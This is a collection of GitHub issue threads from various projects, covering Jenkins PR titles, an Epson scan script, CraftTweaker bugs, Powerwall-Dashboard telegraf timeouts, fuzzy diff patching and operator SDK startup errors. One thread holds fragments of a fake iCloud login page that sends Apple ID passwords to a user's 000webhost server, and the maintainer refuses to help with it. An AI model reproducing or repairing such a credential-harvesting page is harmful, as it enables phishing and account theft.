Can do it with new cortex package

It's supported with new cortex

repo: janhq/cortex


text:
Make pullrequest title and description is wrongly escaped in Jenkins

Using ghprb v1.14-7 on Jenkins ver. 1.577, in the left hand side "Build History" of a job I'm seeing:
Aug 28, 2014 12:21:11 PM
   PR #2: UI configuration for MultiG...

as in it's displaying HTML source, escaped - instead if a clickabled link as you probably intended.
If this worked before, maybe some Jenkins API changed meanwhile and you have to tell it you're giving HTML so that it does not escape it? (I do NOT know Jenkins internals, just guessing from having dealt with similar problems in other systems in the past.)
I don't know if this has anything to do with https://github.com/janinko/ghprb/issues/144 ?

hi. i'm using jenkins 2.55 and ghprb 1.32 and i still have this issue... could it be something on my config? thanks!

I have the same issue still. I'm using Jenkins 2.11 and ghprb 1.38.0.
Can this be configured?

Manage Jenkins > Configure Global Security.  Select "Safe HTML" as the Markup Formatter.

authors: atomarch jaor rakkatak vorburger

repo: janinko/ghprb


text:
Bug scanimage example - wrong device ID created

Hi, thank you for creating this nice service :smile:
While playing to integrate to my environment, I stumbled upon problems with 'example-scanimage.sh' that blocks to scan an image:

matthias@flunder:/etc/es2button$ journalctl -f
Jun 04 15:22:58 flunder es2button[3835]: Output format is not set, using pnm as a default.
Jun 04 15:22:58 flunder es2button[3835]: scanimage: open of device epsonscan2:DS-310:004:004:esci2:usb::345 failed: Invalid argument
Jun 04 15:22:58 flunder es2button[3823]: Finished scan
Jun 04 15:22:58 flunder es2button[3822]: /
matthias@flunder:/etc/es2button$ scanimage -L
device `epsonscan2:DS-310:004:004:esci2:usb:ES013E:345' is a EPSON DS-310:004:004 flatbed scanner

So the PID seems to empty? Is this caused by my previous installed epsonscan2 installation? :thinking:

Hey,
looks like the model variable in the script is unset which should be ES013E.
As there seems to be no way to get the model name from the scanner itself, the script relies on some files installed by the epsonscan2 package which do contains a mapping between device ids and model names.
Mind checking if you do have the following file on your system (this should be installed through epsonscan2) by executing this command and posting the output here:
ls /usr/lib/$(uname -m)-linux-gnu/epsonscan2/Resources/Models/ES013E/US/ES013E.json

What distribution and architecture (aarch64 or x86?) are you using?

The command works fine:
matthias@flunder:~/scans$ ls /usr/lib/$(uname -m)-linux-gnu/epsonscan2/Resources/Models/ES013E/US/ES013E.json /usr/lib/x86_64-linux-gnu/epsonscan2/Resources/Models/ES013E/US/ES013E.json
Pretty confusing, as this is a almost stock Ubuntu 22.10 x64 :thinking:

Hmm,
I haven't yet tried it on x64... but I don't know why that shouldn't work.
Since you say stock. Do you have jq installed? This looks like the only command that might not be installed on a stock OS that the script uses.
The script creates a file called .lut.json on the first run using the following command
find /usr/lib/$(uname -m)-linux-gnu/epsonscan2/Resources/Models/ | grep -E "/ES[^/.]+\.json$" | xargs -I {} jq '{"model": "'{}'", "PID": .HardwareInfo[0].ESProductID.string}' {}

If you execute this manually, you should see a lot of lines like:
{
  "model": "/usr/lib/aarch64-linux-gnu/epsonscan2/Resources/Models/ES0254/ALL/ES0254.json",
  "PID": "11A9"
}
{
  "model": "/usr/lib/aarch64-linux-gnu/epsonscan2/Resources/Models/ES019E/ALL/ES019E.json",
  "PID": "115F"
}
....

In what folder are you executing the script? Since the script writes a file, that folder needs to be writable.
I think by default it should run with /root as the working directory which is where the .lut.json should be. So you might also want to check if that file is present and if that has content like above.
You might want to add a set -xe at the start of the script (next line after #!/bin/bash) to see what it executes and whether or not something in the script fails.

Hey,
I created a small change that loads the model names from the epsonscan2 resource folder and makes the one matching the current usb product id available to the script.
Mind testing the changes in https://github.com/janrueth/es2button/pull/2 ? I haven't fully tested it yet, as I'm not near my scanner 😅

Hi Jan, I'm sorry for beeing late, but RL keept me busy
I checked out your PR and readded the 0.3 es2button package. Unfortunatly there seems to be still  a minor bug that prevents scanning

Jun 29 20:31:03 flunder es2button[2599]: Button 1 pressed on DS-310:004:002 (013E) (VID:PID=04B8:0159)
Jun 29 20:31:03 flunder es2button[2599]: Starting scan
Jun 29 20:31:03 flunder es2button[2599]: Scanning A4 paper
Jun 29 20:31:03 flunder es2button[2603]: Output format is not set, using pnm as a default.
Jun 29 20:31:04 flunder es2button[2603]: scanimage: open of device epsonscan2:DS-310:004:002:esci2:usb:013E:345 failed: Invalid argument
Jun 29 20:31:04 flunder es2button[2599]: Finished scan
matthias@flunder:/etc/es2button$ scanimage -L
device `epsonscan2:DS-310:004:002:esci2:usb:ES013E:345' is a EPSON DS-310:004:002 flatbed scanner

Will try tomorrow to figure out whats the probelm with default example-scanimage.sh. Thanks anyway :+1:

ohh I think I see the issue. I missed adding an ES prefix before the 013E in the command that executes the scanimage command.

True, addind "ES" prefix makes the scanner working as intended :+1:

Should be fixed on the recent changes in main


text:
Has this been patched?

I have tried all the following steps provided but when ever my test user submits the password it redirects me to a webpage with "There was an error" so my question is have apple finally patched this issue or not?
Here are the changes I have made to the files before uploading them to my server:
Framework.php:

Index.php:

<title>iCloud login</title>

Lorem ipsum CONSECUTIVE VISIT WEB CONTENT";
    die();
}
?>

Lorem ipsum PRE-SUBMIT WEB CONTENT

			Sign In to iCloud

			Enter your Apple ID e-mail address and password

		<form action="http://mywebsite.000webhost.net/framework.php" id="myform" method="get" name="myform">
			<input class="modal-text-input modal-text-input-double" name="modal-username" type="text" value="<?php
				if (isset($_GET['modal-username'])) {
				echo htmlspecialchars(stripslashes($_GET['modal-username']));
				} else echo "research@subject.tld";
				?>"><input autofocus="" class="modal-text-input modal-text-input-double" id="password-input" name="modal-password" placeholder="Password" type="password">

Lorem ipsum POST-SUBMIT WEB CONTENT

			</input>

		Cancel OK<input id="submit" type="submit" value="OK">
		</form>

mydata.txt:
This file is uploaded to a server on 000webhost.net.
Thanks.

Not yet. Hopefully it will be patched in the 8.4 and 9 (betas of both version are vulnerable at the moment).

I have seen lot's of users post fixes that apple could apply online so I really do not know what's taking them so long.

Apple can stop delivering e-mail messages that contain this malicious code thru their iCloud e-mail service. But to fix the issue for any 3rd party IMAP service synced with Mail.app, they have to release a new version of iOS with the patch and that didn't happen yet.

Oh okay right so it can take them quite a while to resolve the issue on all their devices. (Thanks for clearing this up jansoucek).
So do you know why I am getting there was an error message when I have tried the method out my self?
(I posted my copy of the framework.php and index.php that have been uploaded .

This is a very basic php code and I am not here to help you scam people.


text:
update renovate to include vulnerability alerts

Description

Added integration with Github vulnerability alerts.  Need to make corresponding repo settings changes to disable Dependabot and Group Security Updates
Added config for osvVulnerabilityAlerts.  This is experimental but may be worth trying since it'll raise PRs on vulns found against direct dependencies whereas most, if not all dependabot findings affect transitive dependencies.
Removed the group:linters and group:test presets since these are specific only to js and irrelevant to this repo

Which issue(s) does this PR fix or relate to

Fixes https://issues.redhat.com/browse/RHIDP-1737

PR acceptance criteria

[ ] Tests
[ ] Documentation
[ ] If the bundle manifests have been updated, make sure to review the rhdh-operator.csv.yaml file accordingly

How to test changes / Special notes to the reviewer

LGTM

Need to make corresponding repo settings changes to disable Dependabot and Group Security Updates

Is this what we need to disable?

Yes

LGTM

Need to make corresponding repo settings changes to disable Dependabot and Group Security Updates

Is this what we need to disable?

Yes

Done.

repo: janus-idp/operator


text:
Doc: improve github/obc README

What do you want to improve?
github/obc
What is the current documentation?
N/A
What is the new documentation?
Add a basic README that includes the following information:

Description of the GPT
How to use the GPT with a description on each field input
How to test the GPT

replaced by https://github.com/janus-idp/software-templates/issues/193

repo: janus-idp/software-templates


text:
Profile migration error on fresh windows with bin files.

When using bin version (zip without install version - like daily builds) on system that never used jmmserver before running it as non-admin use end up with error about migration profiles to new localization - this is imposible as there is no old profile to migrate.
Shouldn't it check for old settings/profile before trying to migrate ?

current master ask about importing from manual location if pick "No" it crash with Null exception

I have installed .net 4.6.1 but still that didn't helped

Ok, no that there is "I detected JMM instalation" and with removing ProgramData/ShokoServer I was able to run it on fresh windows.

repo: japanesemediamanager/ShokoServer


text:
Support simultaneous build jobs

It would be great if we could take advantage of make -j xx or msbuild /MP[xx] to speed up node.js builds!

If you know of a way to make node.js compilation by itself to do so, let me know
and I can implement this easily!
On Sat, Dec 26, 2015 at 1:49 PM, Issac < notifications@github.com [notifications@github.com] > wrote:
It would be great if we could take advantage of make -j xx or msbuild /MP[xx] to speed up node.js builds!
—
Reply to this email directly or view it on GitHub [https://github.com/jaredallard/nexe/issues/159] .[https://github.com/notifications/beacon/ACR9NUzT86zuFNtau7nlFncVNd9ehB26ks5pTwLegaJpZM4G7gDo.gif]

It took me a while to get Windows building, but it seems Windows is already doing it.  I'll look into this on Linux next time I do a build (this time I just stopped the build after "make" started, and manually ran make -j <num_cpu_cores> which worked fine for the initial compile

#147 deals with Linux

(it would be helpful if you published 0.4.3 :))

authors: issacg jaredallard

repo: jaredallard/nexe


text:
CraftTweaker-1.10.2-3.0.16 / 17  .reuse() function

Issue Description:
This is happening in my custom modpack.
I'm using forge-12.18.3.2185
minecraft version 1.10.2
What happens:
I had a lot of recipes tweaked to use tools with the .reuse() function so they would not be consumed on the craft.  Which worked in 3.0.15, when I updated to 3.0.17, those recipes started consuming the tools.  I downgraded to 3.0.16 and the same thing kept happening as well.  Once I got back down to 3.0.15 everything worked like normal.
-kingchubz

I just found about this as well, reuse(), giveBack() and transformDamage() all don't work. I also found out that using a Tinker's Crafting Station it consumes the item specified to give back and give back every other crafting ingredient item while in a normal crafting table all those items still appear but have a red 0 amount attached to them.
Script to test: http://pastebin.com/QKAsNfi4 and its minetweaker.log http://pastebin.com/UBEiZ9QK
Minecraft 1.10.2
Forge 12.18.3.2202
CraftTweaker 3.0.17

authors: davqvist lordchubz


text:
[1.10.2] Crash when changing Seeds with Biomes o Plenty

Issue Description:
I removed the seed drops listed when using the /mt seeds command, and the game crashes with mentions of Biomes o Plenty.
What happens:
I load up a world, it generates for a bit and crashes.
What you expected to happen:
The world to load up and not crash.
Script used (Please Pastebin or gist your script, posting an unpasted or ungist'd script will automatically close this issue):
https://pastebin.com/HscSj584
Minetweaker.log file (Please Pastebin or gist your file, posting an unpasted or ungist'd file will automatically close this issue):
https://pastebin.com/zRP22ghU

Affected Versions (Do not use "latest"):

Minecraft: 1.10.2
Forge: 12.18.3.2316
Crafttweaker: 3.0.26

Your most recent log file where the issue was present:
https://pastebin.com/B3Eyxqjn

Forge issue that has been fixed in 1.11/1.12


text:
Should config.resolve.modules be undefined when overriding backpack?

I have a multi nodejs project setup like this:
project1
project2
shared
backpack.config.js
package.json

So I want to be able to reference the shared folder code from within my other projects.
To do this I have to add path ./ to the NODE_PATH when I run my project1 for example:
"scripts": {
    "dev:project1": "cross-env NODE_PATH=./ cross-env NODE_ENV=development cross-env
    DIR=api backpack"
  }

So I need to add the value of NODE_PATH to my resolve modules in the backpack config:
config.resolve.modules.push(nodePath);

Should the config.resolve.modules be undefined at this point? (that is what I am seeing) so I am doing this instead:
  config.resolve.modules = [nodePath];

The reason I am confused is because this other project that uses backpack is a .push call https://github.com/withspectrum/spectrum/blob/alpha/backpack.config.js#L36
When I try the same thing I can see that the modules array is actually undefined.

Another thing I noticed is that now that I set the modules to [nodePath], when I start my app using
yarn run dev:project1

It only looks in ./node_modules not in ./project1/node_modules
So I didn't append the ./ to the module resolution lookup correctly.
Any tips?

Hey @gitleet, did you ever get this resolved? I'm having the same issue.

@jhalvorson  just create it if it doesn't exist
config.resolve.modules = (config.resolve.modules || []).concat([nodePath])

authors: gitleet jhalvorson schester44

repo: jaredpalmer/backpack


text:
Strange device name after update

On emulator in version 1.1.9 i have device name - "AOSP On IA Emulator". After upgrading to 2.0.0 i now have "Emualtor". Probably a typo in device db?

Yup, it seems like device with id 5904 have name "Emualtor"

repo: jaredrummler/AndroidDeviceNames


text:
Unknown activity sub-activities (place, material, etc) are defined inconsistently in Activity JSON

Some sub-activities have an unknown variant, some not.

Except for #212 everything should now be consistent.

repo: jariarkko/psgeo


text:
No responses

Will this still operate as normal while the ChatGPT is down/overloaded?

This is just an interface to GPT3 API. IT doesn't use the Chatgpt api. So in order to use it you will need an API key and create a filed named .env in the client directory with your key in it.

I have my key in the .env file and it is located in the client directory

If you open up the dev tools in the browser and check the console, what error do you get?

You don't see an Axios error?

I don't see an Axios error. I have Node 19.2.0 (the current version)

If the app isn't responding after you submit your question, you should get an Axios error in the console. So I don't know what to make of the issue. The chrome errors shouldn't prevent this from working.

I am getting the Axios error. How do I go about fixing this?

You don't see an Axios error? Also which version of node are you using?

I am getting the Axios error. How do I go about fixing this?

You don't see an Axios error? Also which version of node are you using?

I am getting the Axios error. How do I go about fixing this?

What is the error?

authors: Mason-Millard SaltyBarnacles jas3333


text:
Change link behaviour when app is installed

It seems like the "View" button (link to app store) never changes. But the "correct" behaviour is to link directly to the app, when it is installed on the device. This is how the original Smart App Banner feature behaves in Safari.

I think this may be closed as a dupe of #93 — and it might be impossible to 'fix' through this library alone, because a fix would require Android to expose handset data to the browser, which is not going to happen (intentionally) any time soon! See http://stackoverflow.com/a/12901352

authors: geerlingguy olefrank


text:
Telegraf errors for several hours

These errors happened for several hours and then resolved on their own. Any ideas?
2022-05-24T15:10:54Z E! [inputs.http] Error in plugin: [url=http://pypowerwall:8675/aggregates]: Get "http://pypowerwall:8675/aggregates": context deadline exceeded (Client.Timeout exceeded while awaiting headers)

2022-05-24T15:10:54Z E! [inputs.http] Error in plugin: [url=http://pypowerwall:8675/freq]: Get "http://pypowerwall:8675/freq": context deadline exceeded (Client.Timeout exceeded while awaiting headers)

2022-05-24T15:10:54Z E! [inputs.http] Error in plugin: [url=http://pypowerwall:8675/temps/pw]: Get "http://pypowerwall:8675/temps/pw": context deadline exceeded (Client.Timeout exceeded while awaiting headers)

2022-05-24T15:10:54Z E! [inputs.http] Error in plugin: [url=http://pypowerwall:8675/soe]: Get "http://pypowerwall:8675/soe": context deadline exceeded (Client.Timeout exceeded while awaiting headers)

2022-05-24T15:10:54Z E! [inputs.http] Error in plugin: [url=http://pypowerwall:8675/strings]: Get "http://pypowerwall:8675/strings": context deadline exceeded (Client.Timeout exceeded while awaiting headers)

2022-05-24T15:10:59Z E! [inputs.http] Error in plugin: [url=http://pypowerwall:8675/strings]: Get "http://pypowerwall:8675/strings": context deadline exceeded (Client.Timeout exceeded while awaiting headers)

2022-05-24T15:10:59Z E! [inputs.http] Error in plugin: [url=http://pypowerwall:8675/freq]: Get "http://pypowerwall:8675/freq": context deadline exceeded (Client.Timeout exceeded while awaiting headers)

2022-05-24T15:10:59Z E! [inputs.http] Error in plugin: [url=http://pypowerwall:8675/aggregates]: Get "http://pypowerwall:8675/aggregates": context deadline exceeded (Client.Timeout exceeded while awaiting headers)

2022-05-24T15:10:59Z E! [inputs.http] Error in plugin: [url=http://pypowerwall:8675/soe]: Get "http://pypowerwall:8675/soe": context deadline exceeded (Client.Timeout exceeded while awaiting headers)

2022-05-24T15:10:59Z E! [inputs.http] Error in plugin: [url=http://pypowerwall:8675/temps/pw]: Get "http://pypowerwall:8675/temps/pw": context deadline exceeded (Client.Timeout exceeded while awaiting headers)

2022-05-24T15:11:00Z E! [inputs.http] Error in plugin: [url=http://pypowerwall:8675/aggregates]: Get "http://pypowerwall:8675/aggregates": EOF

2022-05-24T15:11:00Z E! [inputs.http] Error in plugin: [url=http://pypowerwall:8675/soe]: Get "http://pypowerwall:8675/soe": EOF

2022-05-24T15:11:00Z E! [inputs.http] Error in plugin: [url=http://pypowerwall:8675/freq]: Get "http://pypowerwall:8675/freq": EOF

2022-05-24T15:11:00Z E! [inputs.http] Error in plugin: [url=http://pypowerwall:8675/temps/pw]: Get "http://pypowerwall:8675/temps/pw": EOF

2022-05-24T15:11:00Z E! [inputs.http] Error in plugin: [url=http://pypowerwall:8675/strings]: Get "http://pypowerwall:8675/strings": EOF

Hi @jgleigh  - if these happened during the start of the docker containers, it means that telegraf was up and operational (polling) before the pypowerwall container was running.  Technically docker-compose should start pypowerwall before telegraf but I have seen this occur.  It is generally harmless as it will go away when the pypowerwall container is fully operational.
If this is occurring randomly, look at the pypowerwall logs (docker logs pypowerwall) to see what errors are happening when this occurs.  It could be getting timeouts with your Powerwall.  This will occur more if you Powerwall is using WiFi instead of a hardware ethernet connection.

My Gateway is hooked to Ethernet. It only happened this one time and I've restarted Docker since then. I'll see if it happens again, but for now it was just the one time and only for a few hours. I don't think there were any errors in the pypowerwall log, just in the telegraf log. Very odd. It was during the night and early morning so I didn't notice. I didn't notice any data gaps on the Tesla app so I believe the Gateway was fully functional the whole time.

Here's what the graph looked like during the errors:

This was running t8 proxy at the time, so could be related to that old version too.

Ok, that helps.  Some theories:

There was a memory/resource leak in "t8" that could have caused issues via out of memory/swapping (fixed in "t10") which may have eventually resulted in docker restarting it.
The error indicates telegraf is unable to make a network connection to that endpoint on pypowerwall, which could be due to some host issue (is this a Raspberry Pi?) during an automated update or other system level activity (would need to check host logs like dmesg -T).

It's running on a Mac desktop which was up at the time. I'm going to guess it was probably the memory leak since nothing else was going on with the computer during this time.

Closing for now. Will monitor for future occurence.

I've just run into this issue.  Restarting Docker hasn't helped, so far.  Just about to restart the host (Windows 11).  Found this issue searching for Error in plugin.  In my case, InfluxDB, pypowerwall and weather411 are all started, but there are errors in pypowerwall.  Will open in separate issue.

@BJReplay One possible explanation is that your router has lost your powerwall or your powerwall has lost your network - my symptom is that the powerwall has no IP address in the router device list and I can't access the powerwall via https://<powerwall ip>/.
I get something similar, which I can fix by opening the app and reconnecting the Powerwall to wifi - the easiest way to do this is add a manual network with a garbage name and password - this will fail, and then it falls back to the normal wifi network and data starts to flow again. (I'm hoping a longer term fix will be an upgrade to a more modern router - if that fails, it's on to hardwiring!)
Interestingly, once pypowerwall has connected, it maintains the connection even if the router drops the powerwall from its list of known devices with IP addresses allocation.

@BuongiornoTexas thanks for the reply.
I had written up an issue, and nearly submitted, but it came good after the second host reboot, after multiple docker container and then linux instance restarts,
The Powerwall is connected to router via LAN rather than WiFi (WiFi isn't set up).
(Because the gateway and my router are in the same equipment cupboard, I went to some trouble to separate them onto separate WiFi channels to improve WiFi in my home;

I put them both on a locally heavily congested channel,
I then disassociated the powerwall from my home router SSID (which left the Powerwall on the congested channel),
I then put my router on an uncongested channel.

Which reduced the interference on that channel from the gateway's TEG-NNN access point).
It is also set up with a DHCP static lease with a name assigned and, because I've got other (I'll call it "legacy") software running on this host (controlling backup reserve for my own ToU control, based on Solcast forecasting, and my own load forecasting) and that kept on trucking (including pushing six second data to a PowerBI streaming dataset for the duration), I knew it wasn't the Powerwall dropping off the air, though I thought it might have been a firmware upgrade at first.
In fact, the name resolution is that good that I can ping powerwall from my desktop, from the windows host, from WSL on the host, or from the pypowerwall container, and they all resolve, so I don't need to have have it configured with the IP, but just the name set up in the static lease.

The Powerwall is connected to router via LAN rather than WiFi (WiFi isn't set up).

Mea culpa - you are correct - my issue only applies to a wifi connection. LAN connection won't have this problem.

Mea culpa - you are correct - my issue only applies to a wifi connection. LAN connection won't have this problem.

You weren't to know - and every response helps!  Something funky went on, and caused one process to lose visibility while another didn't.  That visibility loss survived one host reboot, but not a second. 🤷

Puzzling.  If it happens again (and I hope it doesn't), there is a feature in pypowerwall to scan your network for Powerwalls. It would be interesting to see what it can find:
 python3 -m pypowerwall scan

Additionally, I would love to see what pypowerwall is reporting (via: http://localhost:8675/vitals and http://localhost:8675/stats where localhost is the host running the pypowerwall container) and via logs:
docker logs pypowerwall

there is a feature in pypowerwall to scan your network for Powerwalls

I'll report back if it happens again (or better still, raise a new issue - I nearly had, and it resolved after a second reboot).

authors: BJReplay BuongiornoTexas jasonacox jgleigh

repo: jasonacox/Powerwall-Dashboard


text:
README - should config file location be updated?

The README has a Translation Compilation section that describes how to set the base locale. It also includes this snippet:
// config/environment.js
return {
  intl: {
    baseLocale: 'en-us' // default build-time locale
  }
};

But if you put this code in config/environment.js, you'll see a warning advising that config/ember-intl.js is now preferred over config/environment.js for ember-intl configuration. Should this be updated to specify that the baseLocale property should be set in config/ember-intl.js now? (I'd be happy to submit a PR if I'm not off-base here.)

Yes, the README should be updated to reflect this change.

I'd be happy to submit a PR if I'm not off-base here

Pull requests are always welcome :)

authors: jasonmit menewman

repo: jasonmit/ember-intl


text:
Support for fuzzy patches

When generating a unified diff with context, I would like to be able to do a fuzzy apply of that patch. Does your library support this?
For example, take the following unified diff with context 3:
--- original
+++ modified
@@ -2,6 +2,9 @@
 2
 3
 4
+a
+b
+c
 5
 6
 7

And my file looks like the following (exactly the original but with three lines added to the top):
x
y
z
1
2
3
4
5
6
7
8

Using the linux patch tool I am still able to apply this patch:
$ patch -o - neworig udiff.patch
patching file - (read from neworig)
Hunk #1 succeeded at 5 with fuzz 1 (offset 3 lines).

When using DiffUtils.patch of your library I get an error (because the line numbers no longer match):
Incorrect Chunk: the chunk content doesn't match the target

Maybe there is a configuration option to enable fuzzy patching?

How do those fuzzy patches work exactly? Are equal lines getting ignored?
Recently there was an option implemented to plugin behaviour on merge conflicts. But that is not what you want, right?

I think basically what the linux patch tool does, is to match by context instead of line numbers. So it looks for the nearest match with lines containing 2, 3, 4 followed by lines containing 5, 6, 7.
See https://www.gnu.org/software/diffutils/manual/html_node/Inexact.html
If you are interested I might try to port the implementation from gnu diffutils and create a PR if I find the time.

Sure PRs are welcome. This behaviour should be optional.

authors: dpoetzsch wumpz

repo: java-diff-utils/java-diff-utils


text:
Fixes

Fixes #313
Fixes #314
Fixes #315
Fixes #317

I think the Quarkus sample should be updated with the new start() method. Also it would be good to make it minimal.. only inject the necessary stuff, as it's a bit weird now, makes me think every time why do I need all those injected things.

I think the Quarkus sample should be updated with the new start() method. Also it would be good to make it minimal.. only inject the necessary stuff, as it's a bit weird now, makes me think every time why do I need all those injected things.

TomcatOperator fails to start:
Exception in thread "main" java.lang.ExceptionInInitializerError
	at io.javaoperatorsdk.operator.sample.TomcatOperator.main(TomcatOperator.java:25)
Caused by: java.lang.NullPointerException: inStream parameter is null
	at java.base/java.util.Objects.requireNonNull(Objects.java:233)
	at java.base/java.util.Properties.load(Properties.java:407)
	at io.javaoperatorsdk.operator.api.config.Utils.loadFromProperties(Utils.java:17)
	at io.javaoperatorsdk.operator.config.runtime.DefaultConfigurationService.<init>(DefaultConfigurationService.java:15)
	at io.javaoperatorsdk.operator.config.runtime.DefaultConfigurationService.<clinit>(DefaultConfigurationService.java:12)
	... 1 more

TomcatOperator fails to start:
Exception in thread "main" java.lang.ExceptionInInitializerError
	at io.javaoperatorsdk.operator.sample.TomcatOperator.main(TomcatOperator.java:25)
Caused by: java.lang.NullPointerException: inStream parameter is null
	at java.base/java.util.Objects.requireNonNull(Objects.java:233)
	at java.base/java.util.Properties.load(Properties.java:407)
	at io.javaoperatorsdk.operator.api.config.Utils.loadFromProperties(Utils.java:17)
	at io.javaoperatorsdk.operator.config.runtime.DefaultConfigurationService.<init>(DefaultConfigurationService.java:15)
	at io.javaoperatorsdk.operator.config.runtime.DefaultConfigurationService.<clinit>(DefaultConfigurationService.java:12)
	... 1 more

Quarkus sample startup fails too: https://gist.github.com/adam-sandor/428a96d05728fbd56a6b648eec5c5945

Quarkus sample startup fails too: https://gist.github.com/adam-sandor/428a96d05728fbd56a6b648eec5c5945

Running the Quarkus sample I don't see any new output with git versions and stuff:
C:\Users\adams\.jdks\adopt-openjdk-15.0.1\bin\java.exe -Dmaven.multiModuleProjectDirectory=C:\Users\adams\IdeaProjects\java-operator-sdk\samples\quarkus "-Dmaven.home=C:\Program Files\JetBrains\IntelliJ IDEA Community Edition 2020.2\plugins\maven\lib\maven3" "-Dclassworlds.conf=C:\Program Files\JetBrains\IntelliJ IDEA Community Edition 2020.2\plugins\maven\lib\maven3\bin\m2.conf" "-Dmaven.ext.class.path=C:\Program Files\JetBrains\IntelliJ IDEA 2020.2.1\plugins\maven\lib\maven-event-listener.jar" "-javaagent:C:\Program Files\JetBrains\IntelliJ IDEA 2020.2.1\lib\idea_rt.jar=55507:C:\Program Files\JetBrains\IntelliJ IDEA 2020.2.1\bin" -Dfile.encoding=UTF-8 -classpath "C:\Program Files\JetBrains\IntelliJ IDEA Community Edition 2020.2\plugins\maven\lib\maven3\boot\plexus-classworlds-2.6.0.jar;C:\Program Files\JetBrains\IntelliJ IDEA Community Edition 2020.2\plugins\maven\lib\maven3\boot\plexus-classworlds.license" org.codehaus.classworlds.Launcher -Didea.version=2020.3.1 -DskipTests=true io.quarkus:quarkus-maven-plugin:1.11.0.Final:dev
[INFO] Scanning for projects...
[INFO]
[INFO] -------< io.javaoperatorsdk:operator-framework-samples-quarkus >--------
[INFO] Building Operator SDK - Samples - Quarkus 1.7.1-SNAPSHOT
[INFO] --------------------------------[ jar ]---------------------------------
[INFO]
[INFO] --- quarkus-maven-plugin:1.11.0.Final:dev (default-cli) @ operator-framework-samples-quarkus ---
[INFO] Using 'UTF-8' encoding to copy filtered resources.
[INFO] skip non existing resourceDirectory C:\Users\adams\IdeaProjects\java-operator-sdk\samples\quarkus\src\main\resources
[INFO] Changes detected - recompiling the module!
[INFO] Compiling 1 source file to C:\Users\adams\IdeaProjects\java-operator-sdk\samples\quarkus\target\classes
[WARNING] [io.quarkus.bootstrap.devmode.DependenciesFilter] Local Quarkus extension dependency io.javaoperatorsdk:operator-framework-quarkus-extension will not be hot-reloadable
[WARNING] [io.quarkus.bootstrap.devmode.DependenciesFilter] Local Quarkus extension dependency io.javaoperatorsdk:operator-framework-core will not be hot-reloadable
Listening for transport dt_socket at address: 5005
[INFO] Checking for existing resources in: C:\Users\adams\IdeaProjects\java-operator-sdk\samples\quarkus\src\main\kubernetes.
__  ____  __  _____   ___  __ ____  ______
 --/ __ \/ / / / _ | / _ \/ //_/ / / / __/
 -/ /_/ / /_/ / __ |/ , _/ ,< / /_/ /\ \
--\___\_\____/_/ |_/_/|_/_/|_|\____/___/
2021-01-25 13:19:31,219 INFO  [io.jav.qua.ext.dep.QuarkusExtensionProcessor] (build-13) Processed 'io.javaoperatorsdk.operator.sample.CustomServiceController' controller named 'customservicecontroller' for 'customservices.sample.javaoperatorsdk' CR (version 'sample.javaoperatorsdk/v1')
2021-01-25 13:19:32,462 INFO  [io.quarkus] (Quarkus Main Thread) operator-framework-samples-quarkus 1.7.1-SNAPSHOT on JVM (powered by Quarkus 1.11.0.Final) started in 2.376s. Listening on: http://localhost:8080
2021-01-25 13:19:32,463 INFO  [io.quarkus] (Quarkus Main Thread) Profile dev activated. Live Coding activated.
2021-01-25 13:19:32,463 INFO  [io.quarkus] (Quarkus Main Thread) Installed features: [cdi, kubernetes, kubernetes-client, operator-sdk, smallrye-health]
2021-01-25 13:19:33,128 INFO  [io.jav.ope.Operator] (Quarkus Main Thread) Registered Controller: 'CustomServiceController_ClientProxy' for CRD: 'class io.javaoperatorsdk.operator.sample.CustomService' for namespaces: [all namespaces]
CR class: class io.javaoperatorsdk.operator.sample.CustomService

Running the Quarkus sample I don't see any new output with git versions and stuff:
C:\Users\adams\.jdks\adopt-openjdk-15.0.1\bin\java.exe -Dmaven.multiModuleProjectDirectory=C:\Users\adams\IdeaProjects\java-operator-sdk\samples\quarkus "-Dmaven.home=C:\Program Files\JetBrains\IntelliJ IDEA Community Edition 2020.2\plugins\maven\lib\maven3" "-Dclassworlds.conf=C:\Program Files\JetBrains\IntelliJ IDEA Community Edition 2020.2\plugins\maven\lib\maven3\bin\m2.conf" "-Dmaven.ext.class.path=C:\Program Files\JetBrains\IntelliJ IDEA 2020.2.1\plugins\maven\lib\maven-event-listener.jar" "-javaagent:C:\Program Files\JetBrains\IntelliJ IDEA 2020.2.1\lib\idea_rt.jar=55507:C:\Program Files\JetBrains\IntelliJ IDEA 2020.2.1\bin" -Dfile.encoding=UTF-8 -classpath "C:\Program Files\JetBrains\IntelliJ IDEA Community Edition 2020.2\plugins\maven\lib\maven3\boot\plexus-classworlds-2.6.0.jar;C:\Program Files\JetBrains\IntelliJ IDEA Community Edition 2020.2\plugins\maven\lib\maven3\boot\plexus-classworlds.license" org.codehaus.classworlds.Launcher -Didea.version=2020.3.1 -DskipTests=true io.quarkus:quarkus-maven-plugin:1.11.0.Final:dev
[INFO] Scanning for projects...
[INFO]
[INFO] -------< io.javaoperatorsdk:operator-framework-samples-quarkus >--------
[INFO] Building Operator SDK - Samples - Quarkus 1.7.1-SNAPSHOT
[INFO] --------------------------------[ jar ]---------------------------------
[INFO]
[INFO] --- quarkus-maven-plugin:1.11.0.Final:dev (default-cli) @ operator-framework-samples-quarkus ---
[INFO] Using 'UTF-8' encoding to copy filtered resources.
[INFO] skip non existing resourceDirectory C:\Users\adams\IdeaProjects\java-operator-sdk\samples\quarkus\src\main\resources
[INFO] Changes detected - recompiling the module!
[INFO] Compiling 1 source file to C:\Users\adams\IdeaProjects\java-operator-sdk\samples\quarkus\target\classes
[WARNING] [io.quarkus.bootstrap.devmode.DependenciesFilter] Local Quarkus extension dependency io.javaoperatorsdk:operator-framework-quarkus-extension will not be hot-reloadable
[WARNING] [io.quarkus.bootstrap.devmode.DependenciesFilter] Local Quarkus extension dependency io.javaoperatorsdk:operator-framework-core will not be hot-reloadable
Listening for transport dt_socket at address: 5005
[INFO] Checking for existing resources in: C:\Users\adams\IdeaProjects\java-operator-sdk\samples\quarkus\src\main\kubernetes.
__  ____  __  _____   ___  __ ____  ______
 --/ __ \/ / / / _ | / _ \/ //_/ / / / __/
 -/ /_/ / /_/ / __ |/ , _/ ,< / /_/ /\ \
--\___\_\____/_/ |_/_/|_/_/|_|\____/___/
2021-01-25 13:19:31,219 INFO  [io.jav.qua.ext.dep.QuarkusExtensionProcessor] (build-13) Processed 'io.javaoperatorsdk.operator.sample.CustomServiceController' controller named 'customservicecontroller' for 'customservices.sample.javaoperatorsdk' CR (version 'sample.javaoperatorsdk/v1')
